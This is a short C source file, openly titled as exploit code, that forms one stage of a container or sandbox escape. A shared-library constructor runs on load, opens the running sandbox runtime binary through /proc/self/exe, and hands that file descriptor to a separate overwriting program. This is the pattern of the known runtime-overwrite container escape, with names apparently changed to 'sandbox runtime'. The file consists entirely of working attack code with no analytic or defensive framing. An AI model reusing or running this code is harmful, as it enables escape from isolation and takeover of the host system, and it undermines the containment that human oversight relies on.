exploit_code_for_shared_lib.c

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

__attribute__ ((constructor)) void run_at_link(void) {
  char *argv_overwrite[3];
  char buf[128];
  
  /* Open the sandbox binary for reading */
  int runc_fd_read = open("/proc/self/exe", O_RDONLY);
  if (runc_fd_read == -1) {
    printf("[!] can't open /proc/self/exe\n");
    return;
  }
  printf("[!] Opened sandbox runtime for reading as /proc/self/fd/%d\n", runc_fd_read);
  fflush(stdout);
  /* Prepare overwrite_sndbx_runtime arguments: {'overwrite_sndbx_runtime'. '/proc/self/fd/runc_fd_read'} */
  argv_overwrite[0] = strdup("/overwrite_sndbx_runtime");
  snprintf(buf, 128, "/proc/self/fd/%d", runc_fd_read);
  argv_overwrite[1] = buf;
  argv_overwrite[2] = 0;

  printf("[+] Calling overwrite_sndbx_runtime\n");
  fflush(stdout);
  /* Execute overwrite_sndbx_runtime */
  execve("/overwrite_sndbx_runtime", argv_overwrite, NULL);
}